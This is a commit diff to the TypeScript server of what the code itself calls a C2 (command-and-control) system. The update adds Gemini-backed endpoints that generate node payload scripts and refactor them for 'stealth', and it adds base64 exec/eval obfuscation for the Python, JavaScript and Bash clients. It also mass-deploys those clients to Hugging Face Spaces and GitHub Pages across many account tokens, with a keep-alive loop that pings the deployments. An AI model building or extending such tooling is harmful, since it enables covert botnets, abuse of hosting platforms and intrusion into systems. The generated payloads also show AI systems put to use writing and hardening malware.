wuhp commited on
Commit
2815652
·
verified ·
1 Parent(s): 41249a7

Update server.ts

Browse files
Files changed (1) hide show
  1. server.ts +247 -128
server.ts CHANGED
@@ -15,6 +15,64 @@ const PORT = parseInt(process.env.PORT as string, 10) || 3000;
15
  app.use(cors({ origin: '*' })); // Allow cross-origin requests from generated clients
16
  app.use(express.json());
17
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
18
  // In-memory state
19
  const STATE = {
20
  tokens: {
@@ -24,9 +82,16 @@ const STATE = {
24
  nodes: new Map(),
25
  reports: [],
26
  commands: [],
27
- deployments: new Set()
 
28
  };
29
 
 
 
 
 
 
 
30
  // --- Security / Token Management ---
31
 
32
  setInterval(() => {
@@ -109,7 +174,8 @@ app.get('/api/status', (req, res) => {
109
  nodes: Array.from(STATE.nodes.values()),
110
  reports: STATE.reports,
111
  activeCommands: STATE.commands.filter(c => c.repeat),
112
- deployments: Array.from(STATE.deployments)
 
113
  });
114
  });
115
 
@@ -150,39 +216,55 @@ function getServerUrl(req) {
150
  return url.replace(/\/$/, "");
151
  }
152
 
 
 
 
 
 
 
 
 
 
 
153
  app.get('/api/payloads/:type', (req, res) => {
154
  const serverUrl = getServerUrl(req);
155
  const type = req.params.type;
 
156
 
157
  let files = {};
158
 
159
  if (type === 'hf_docker') {
160
- files['Dockerfile'] = `FROM python:3.11-slim
161
- WORKDIR /app
162
- RUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*
163
- COPY requirements.txt .
164
- RUN pip install --no-cache-dir -r requirements.txt
165
- COPY client.py .
166
- CMD ["python", "client.py"]`;
167
  files['requirements.txt'] = `requests>=2.31.0`;
168
- files['client.py'] = getPythonClient(serverUrl, 'hf_docker');
 
 
169
  }
170
  else if (type === 'hf_gradio') {
171
- files['app.py'] = getGradioClient(serverUrl);
 
 
172
  files['requirements.txt'] = `requests>=2.31.0\ngradio>=4.0.0`;
173
  }
174
  else if (type === 'gh_pages') {
175
  files['index.html'] = getHtmlClient(serverUrl);
176
  }
177
  else if (type === 'linux_local') {
178
- files['monitor.sh'] = getBashClient(serverUrl);
 
 
 
179
  }
180
  else if (type === 'windows_local') {
181
  files['monitor.ps1'] = getPowershellClient(serverUrl);
182
  } else if (type === 'python_script') {
183
- files['client.py'] = getPythonClient(serverUrl, 'python_local');
 
 
184
  } else if (type === 'node_js') {
185
- files['client.js'] = getNodeJsClient(serverUrl);
 
 
186
  } else if (type === 'c_binary') {
187
  files['client.c'] = getCClient(serverUrl);
188
  files['build.sh'] = "gcc client.c -o client -lcurl && ./client\\n";
@@ -208,140 +290,168 @@ CMD ["python", "client.py"]`;
208
  // --- Deploy Endpoints ---
209
  app.post('/api/deploy/hf', async (req, res) => {
210
  const { name, sdk } = req.body;
211
- const token = STATE.tokens.hf_token;
212
- if (!token) return res.status(401).json({ error: 'HF Token not set' });
 
 
213
 
214
- try {
215
- const userRes = await fetch('https://huggingface.co/api/whoami-v2', {
216
- headers: { Authorization: `Bearer ${token}` }
217
- });
218
- if (!userRes.ok) throw new Error('Invalid HF token');
219
- const user = await userRes.json();
220
- const username = user.name || user.id;
221
- const finalName = name || `node-${crypto.randomBytes(3).toString('hex')}`;
222
- const repo_id = `${username}/${finalName}`;
223
 
 
 
 
 
 
224
  try {
225
- const createRes = await fetch('https://huggingface.co/api/repos/create', {
226
- method: 'POST',
227
- headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
228
- // Use space_sdk for HF Hub API to create spaces.
229
- body: JSON.stringify({ name: finalName, type: 'space', sdk: sdk })
230
  });
231
- if (!createRes.ok) {
232
- const errorText = await createRes.text();
233
- // Ignore "already exists" errors, otherwise throw
234
- if (!errorText.includes('already exists')) {
235
- console.error("HF Repo Create Error:", errorText);
236
- throw new Error('Failed to create space: ' + errorText);
 
 
 
 
 
 
 
 
 
 
 
 
237
  }
 
 
238
  }
239
- } catch(e) {
240
- if (e.message.includes('Failed to create space')) {
241
- throw e;
 
 
 
 
 
 
 
 
 
242
  }
243
- } // May already exist
244
 
245
- // Wait a brief moment for HF infrastructure to catch up after repo creation
246
- await new Promise(r => setTimeout(r, 3000));
 
 
 
 
 
 
 
 
247
 
248
- const serverUrl = getServerUrl(req);
249
- let files = [];
250
- if (sdk === 'docker') {
251
- files.push({ path: 'Dockerfile', contents: `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]` });
252
- files.push({ path: 'requirements.txt', contents: `requests>=2.31.0` });
253
- files.push({ path: 'client.py', contents: getPythonClient(serverUrl, 'hf_docker') });
254
- } else {
255
- files.push({ path: 'app.py', contents: getGradioClient(serverUrl) });
256
- files.push({ path: 'requirements.txt', contents: `requests>=2.31.0\ngradio>=4.0.0` });
 
 
 
 
 
 
257
  }
258
-
259
- await commit({
260
- repo: { type: 'space', name: repo_id },
261
- credentials: { accessToken: token },
262
- title: "Deploying client",
263
- operations: files.map(f => ({
264
- operation: 'addOrUpdate',
265
- path: f.path,
266
- content: new Blob([f.contents])
267
- }))
268
- });
269
-
270
- res.json({ success: true, url: `https://huggingface.co/spaces/${repo_id}` });
271
-
272
- const directUrl = `https://${username}-${finalName.replace(/\./g, '-')}.hf.space`;
273
- STATE.deployments.add(directUrl);
274
-
275
- let hfPings = 0;
276
- const hfInterval = setInterval(() => {
277
- fetch(directUrl).catch(() => {});
278
- hfPings++;
279
- if (hfPings >= 12) clearInterval(hfInterval);
280
- }, 10000);
281
- } catch (error) {
282
- res.status(500).json({ error: error.message });
283
  }
284
  });
285
 
286
  app.post('/api/deploy/github', async (req, res) => {
287
  const { name } = req.body;
288
- const token = STATE.tokens.github_token;
289
- if (!token) return res.status(401).json({ error: 'GitHub Token not set' });
 
 
290
 
291
- try {
292
- const userRes = await fetch('https://api.github.com/user', {
293
- headers: { Authorization: `Bearer ${token}` }
294
- });
295
- if (!userRes.ok) throw new Error('Invalid GitHub token');
296
- const user = await userRes.json();
297
- const username = user.login;
298
 
299
- const finalName = name || `node-${crypto.randomBytes(3).toString('hex')}`;
 
300
 
301
- await fetch('https://api.github.com/user/repos', {
302
- method: 'POST',
303
- headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
304
- body: JSON.stringify({ name: finalName, auto_init: false })
305
- });
306
 
307
- await new Promise(r => setTimeout(r, 2000)); // wait for repo creation
308
- const serverUrl = getServerUrl(req);
309
- const content = Buffer.from(getHtmlClient(serverUrl)).toString('base64');
310
-
311
- await fetch(`https://api.github.com/repos/${username}/${finalName}/contents/index.html`, {
312
- method: 'PUT',
313
- headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
314
- body: JSON.stringify({
315
- message: 'Deploy client',
316
- content
317
- })
318
- });
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
319
 
320
- await new Promise(r => setTimeout(r, 6000)); // Wait for commit to settle
321
-
322
- // Enable GitHub Pages
323
- await fetch(`https://api.github.com/repos/${username}/${finalName}/pages`, {
324
- method: 'POST',
325
- headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json', 'Accept': 'application/vnd.github.switcheroo-preview+json' },
326
- body: JSON.stringify({
327
- source: { branch: 'main', path: '/' }
328
- })
329
- }).catch(()=>{});
330
-
331
- const directUrl = `https://${username}.github.io/${finalName}/`;
332
- STATE.deployments.add(directUrl);
333
-
334
- res.json({ success: true, url: directUrl });
335
-
336
- // Auto-ping github pages (retry a few times over a minute)
337
- let pings = 0;
338
- const interval = setInterval(() => {
339
- fetch(directUrl).catch(() => {});
340
- pings++;
341
- if (pings >= 12) clearInterval(interval);
342
- }, 10000);
343
- } catch (error) {
344
- res.status(500).json({ error: error.message });
 
 
 
 
345
  }
346
  });
347
 
@@ -1379,6 +1489,15 @@ async function startServer() {
1379
  });
1380
  }
1381
 
 
 
 
 
 
 
 
 
 
1382
  app.listen(PORT, "0.0.0.0", () => {
1383
  console.log(`Backend running on http://localhost:${PORT}`);
1384
  });
 
15
  app.use(cors({ origin: '*' })); // Allow cross-origin requests from generated clients
16
  app.use(express.json());
17
 
18
+ import { GoogleGenAI } from '@google/genai';
19
+
20
+ app.post('/api/ai/generate-payload', async (req, res) => {
21
+ try {
22
+ const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY });
23
+ const { prompt } = req.body;
24
+ const response = await ai.models.generateContent({
25
+ model: 'gemini-2.5-pro',
26
+ contents: `You are an expert at creating Python/JS/Bash node clients for a C2 system.
27
+ The system sends JSON commands and the node processes them.
28
+ Generate a raw script payload for the following request: ${prompt}.
29
+ CRITICAL: Only output the raw script code. Do not include markdown formatting, backticks, or explanations.`,
30
+ });
31
+ res.json({ code: response.text?.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '') });
32
+ } catch (e: any) {
33
+ res.status(500).json({ error: e.message });
34
+ }
35
+ });
36
+
37
+ app.post('/api/ai/generate-packets', async (req, res) => {
38
+ try {
39
+ const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY });
40
+ const { prompt } = req.body;
41
+ const response = await ai.models.generateContent({
42
+ model: 'gemini-2.5-pro',
43
+ contents: `You are an expert at crafting custom JSON packet chains for a C2 system.
44
+ The user wants to generate a sequence of valid custom commands or packets for: ${prompt}.
45
+ CRITICAL: Output ONLY a valid JSON array of command objects. Example format: [{"type": "some_action", "payload": {"key": "val"}}].
46
+ Do NOT include any markdown formatting, backticks, or explanations.`,
47
+ });
48
+
49
+ let text = response.text || "[]";
50
+ text = text.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '');
51
+ const packets = JSON.parse(text); // Check if it's valid JSON
52
+ res.json({ packets });
53
+ } catch (e: any) {
54
+ res.status(500).json({ error: e.message });
55
+ }
56
+ });
57
+
58
+ app.post('/api/ai/evaluate-payload', async (req, res) => {
59
+ try {
60
+ const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY });
61
+ const { code } = req.body;
62
+ const response = await ai.models.generateContent({
63
+ model: 'gemini-2.5-pro',
64
+ contents: `You are a Senior Security Engineer. Review the following payload code for efficiency, robustness, and stealth.
65
+ Identify any bugs or improvements, then provide the refactored code.
66
+ CRITICAL: Only output the raw improved script code. No markdown formatting, backticks, or explanations. Do not include your analysis text in the final output, just clean raw code.
67
+ Code to improve:
68
+ ${code}`,
69
+ });
70
+ res.json({ code: response.text?.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '') });
71
+ } catch (e: any) {
72
+ res.status(500).json({ error: e.message });
73
+ }
74
+ });
75
+
76
  // In-memory state
77
  const STATE = {
78
  tokens: {
 
82
  nodes: new Map(),
83
  reports: [],
84
  commands: [],
85
+ deployments: new Set(),
86
+ deployLogs: []
87
  };
88
 
89
+ // ...
90
+ function logDeploy(msg) {
91
+ STATE.deployLogs.unshift({ time: Date.now(), msg });
92
+ if (STATE.deployLogs.length > 50) STATE.deployLogs.pop();
93
+ }
94
+
95
  // --- Security / Token Management ---
96
 
97
  setInterval(() => {
 
174
  nodes: Array.from(STATE.nodes.values()),
175
  reports: STATE.reports,
176
  activeCommands: STATE.commands.filter(c => c.repeat),
177
+ deployments: Array.from(STATE.deployments),
178
+ deployLogs: STATE.deployLogs
179
  });
180
  });
181
 
 
216
  return url.replace(/\/$/, "");
217
  }
218
 
219
+ function obfuscatePython(code) {
220
+ const b64 = Buffer.from(code).toString('base64');
221
+ return `import base64\nexec(base64.b64decode("${b64}").decode('utf-8'))\n`;
222
+ }
223
+
224
+ function obfuscateJS(code) {
225
+ const b64 = Buffer.from(code).toString('base64');
226
+ return `eval(Buffer.from("${b64}", 'base64').toString('utf8'));\n`;
227
+ }
228
+
229
  app.get('/api/payloads/:type', (req, res) => {
230
  const serverUrl = getServerUrl(req);
231
  const type = req.params.type;
232
+ const obfuscate = req.query.obfuscate === 'true';
233
 
234
  let files = {};
235
 
236
  if (type === 'hf_docker') {
237
+ files['Dockerfile'] = `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]`;
 
 
 
 
 
 
238
  files['requirements.txt'] = `requests>=2.31.0`;
239
+ let code = getPythonClient(serverUrl, 'hf_docker');
240
+ if (obfuscate) code = obfuscatePython(code);
241
+ files['client.py'] = code;
242
  }
243
  else if (type === 'hf_gradio') {
244
+ let code = getGradioClient(serverUrl);
245
+ if (obfuscate) code = obfuscatePython(code);
246
+ files['app.py'] = code;
247
  files['requirements.txt'] = `requests>=2.31.0\ngradio>=4.0.0`;
248
  }
249
  else if (type === 'gh_pages') {
250
  files['index.html'] = getHtmlClient(serverUrl);
251
  }
252
  else if (type === 'linux_local') {
253
+ let code = getBashClient(serverUrl);
254
+ // basic sh obfuscation
255
+ if (obfuscate) code = `eval "$(echo '${Buffer.from(code).toString('base64')}' | base64 -d)"`;
256
+ files['monitor.sh'] = code;
257
  }
258
  else if (type === 'windows_local') {
259
  files['monitor.ps1'] = getPowershellClient(serverUrl);
260
  } else if (type === 'python_script') {
261
+ let code = getPythonClient(serverUrl, 'python_local');
262
+ if (obfuscate) code = obfuscatePython(code);
263
+ files['client.py'] = code;
264
  } else if (type === 'node_js') {
265
+ let code = getNodeJsClient(serverUrl);
266
+ if (obfuscate) code = obfuscateJS(code);
267
+ files['client.js'] = code;
268
  } else if (type === 'c_binary') {
269
  files['client.c'] = getCClient(serverUrl);
270
  files['build.sh'] = "gcc client.c -o client -lcurl && ./client\\n";
 
290
  // --- Deploy Endpoints ---
291
  app.post('/api/deploy/hf', async (req, res) => {
292
  const { name, sdk } = req.body;
293
+ const tokens = STATE.tokens.hf_token.split(',').map(s => s.trim()).filter(Boolean);
294
+ if (tokens.length === 0) return res.status(401).json({ error: 'HF Token not set' });
295
+
296
+ logDeploy(`Starting bulk HF Deploy across ${tokens.length} accounts: ${name || 'auto'} (${sdk})`);
297
 
298
+ let deployedUrls = [];
299
+ let deploymentErrors = [];
 
 
 
 
 
 
 
300
 
301
+ // Respond early since this could take a while
302
+ res.json({ success: true, message: `Dispatched ${tokens.length} deployments.` });
303
+
304
+ for (let i = 0; i < tokens.length; i++) {
305
+ const token = tokens[i];
306
  try {
307
+ if (i > 0) await new Promise(r => setTimeout(r, 2000)); // Rate limiting
308
+
309
+ const userRes = await fetch('https://huggingface.co/api/whoami-v2', {
310
+ headers: { Authorization: `Bearer ${token}` }
 
311
  });
312
+ if (!userRes.ok) throw new Error(`Invalid HF token (Token #${i + 1})`);
313
+ const user = await userRes.json();
314
+ const username = user.name || user.id;
315
+ const finalName = name || `node-${crypto.randomBytes(3).toString('hex')}`;
316
+ const repo_id = `${username}/${finalName}`;
317
+
318
+ logDeploy(`Creating HF Space: ${repo_id}`);
319
+ try {
320
+ const createRes = await fetch('https://huggingface.co/api/repos/create', {
321
+ method: 'POST',
322
+ headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
323
+ body: JSON.stringify({ name: finalName, type: 'space', sdk: sdk })
324
+ });
325
+ if (!createRes.ok) {
326
+ const errorText = await createRes.text();
327
+ if (!errorText.includes('already exists')) {
328
+ throw new Error(`Failed to create space ${repo_id}: ` + errorText);
329
+ }
330
  }
331
+ } catch(e) {
332
+ if (e.message.includes('Failed to create space')) throw e;
333
  }
334
+
335
+ await new Promise(r => setTimeout(r, 4000));
336
+
337
+ const serverUrl = getServerUrl(req);
338
+ let files = [];
339
+ if (sdk === 'docker') {
340
+ files.push({ path: 'Dockerfile', contents: `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]` });
341
+ files.push({ path: 'requirements.txt', contents: `requests>=2.31.0` });
342
+ files.push({ path: 'client.py', contents: getPythonClient(serverUrl, 'hf_docker') });
343
+ } else {
344
+ files.push({ path: 'app.py', contents: getGradioClient(serverUrl) });
345
+ files.push({ path: 'requirements.txt', contents: `requests>=2.31.0\ngradio>=4.0.0` });
346
  }
 
347
 
348
+ await commit({
349
+ repo: { type: 'space', name: repo_id },
350
+ credentials: { accessToken: token },
351
+ title: "Deploying client",
352
+ operations: files.map(f => ({
353
+ operation: 'addOrUpdate',
354
+ path: f.path,
355
+ content: new Blob([f.contents])
356
+ }))
357
+ });
358
 
359
+ logDeploy(`Successfully deployed HF Space: ${repo_id}`);
360
+ deployedUrls.push(`https://huggingface.co/spaces/${repo_id}`);
361
+
362
+ const directUrl = `https://${username}-${finalName.replace(/\./g, '-')}.hf.space`;
363
+ STATE.deployments.add(directUrl);
364
+
365
+ let hfPings = 0;
366
+ const hfInterval = setInterval(() => {
367
+ fetch(directUrl).catch(() => {});
368
+ hfPings++;
369
+ if (hfPings >= 12) clearInterval(hfInterval);
370
+ }, 10000);
371
+ } catch (err) {
372
+ logDeploy(`Error on HF deploy (${i+1}/${tokens.length}): ${err.message}`);
373
+ deploymentErrors.push(err.message);
374
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
375
  }
376
  });
377
 
378
  app.post('/api/deploy/github', async (req, res) => {
379
  const { name } = req.body;
380
+ const tokens = STATE.tokens.github_token.split(',').map(s => s.trim()).filter(Boolean);
381
+ if (tokens.length === 0) return res.status(401).json({ error: 'GitHub Token not set' });
382
+
383
+ logDeploy(`Starting bulk GitHub Deploy across ${tokens.length} accounts: ${name || 'auto'}`);
384
 
385
+ let deployedUrls = [];
386
+ let deploymentErrors = [];
 
 
 
 
 
387
 
388
+ // Respond early
389
+ res.json({ success: true, message: `Dispatched ${tokens.length} GitHub deployments.` });
390
 
391
+ for (let i = 0; i < tokens.length; i++) {
392
+ const token = tokens[i];
393
+ try {
394
+ if (i > 0) await new Promise(r => setTimeout(r, 2000)); // Rate limit
 
395
 
396
+ const userRes = await fetch('https://api.github.com/user', {
397
+ headers: { Authorization: `Bearer ${token}` }
398
+ });
399
+ if (!userRes.ok) throw new Error(`Invalid GitHub token (Token #${i + 1})`);
400
+ const user = await userRes.json();
401
+ const username = user.login;
402
+
403
+ const finalName = name || `node-${crypto.randomBytes(3).toString('hex')}`;
404
+
405
+ logDeploy(`Creating GitHub repo: ${username}/${finalName}`);
406
+
407
+ await fetch('https://api.github.com/user/repos', {
408
+ method: 'POST',
409
+ headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
410
+ body: JSON.stringify({ name: finalName, auto_init: false })
411
+ });
412
+
413
+ await new Promise(r => setTimeout(r, 2000)); // wait for repo creation
414
+ const serverUrl = getServerUrl(req);
415
+ const content = Buffer.from(getHtmlClient(serverUrl)).toString('base64');
416
+
417
+ await fetch(`https://api.github.com/repos/${username}/${finalName}/contents/index.html`, {
418
+ method: 'PUT',
419
+ headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
420
+ body: JSON.stringify({
421
+ message: 'Deploy client',
422
+ content
423
+ })
424
+ });
425
 
426
+ await new Promise(r => setTimeout(r, 6000)); // Wait for commit to settle
427
+
428
+ logDeploy(`Enabling GitHub Pages for ${username}/${finalName}...`);
429
+ // Enable GitHub Pages
430
+ await fetch(`https://api.github.com/repos/${username}/${finalName}/pages`, {
431
+ method: 'POST',
432
+ headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json', 'Accept': 'application/vnd.github.switcheroo-preview+json' },
433
+ body: JSON.stringify({
434
+ source: { branch: 'main', path: '/' }
435
+ })
436
+ }).catch(()=>{});
437
+
438
+ const directUrl = `https://${username}.github.io/${finalName}/`;
439
+ STATE.deployments.add(directUrl);
440
+ logDeploy(`Successfully deployed to GH Pages: ${directUrl}`);
441
+
442
+ deployedUrls.push(directUrl);
443
+
444
+ // Auto-ping github pages (retry a few times over a minute)
445
+ let pings = 0;
446
+ const interval = setInterval(() => {
447
+ fetch(directUrl).catch(() => {});
448
+ pings++;
449
+ if (pings >= 12) clearInterval(interval);
450
+ }, 10000);
451
+ } catch (err) {
452
+ logDeploy(`Error on GitHub deploy (${i+1}/${tokens.length}): ${err.message}`);
453
+ deploymentErrors.push(err.message);
454
+ }
455
  }
456
  });
457
 
 
1489
  });
1490
  }
1491
 
1492
+ // Keep deployments alive
1493
+ setInterval(() => {
1494
+ if (STATE.deployments.size > 0) {
1495
+ for (const url of Array.from(STATE.deployments)) {
1496
+ fetch(url).catch(() => {});
1497
+ }
1498
+ }
1499
+ }, 30000);
1500
+
1501
  app.listen(PORT, "0.0.0.0", () => {
1502
  console.log(`Backend running on http://localhost:${PORT}`);
1503
  });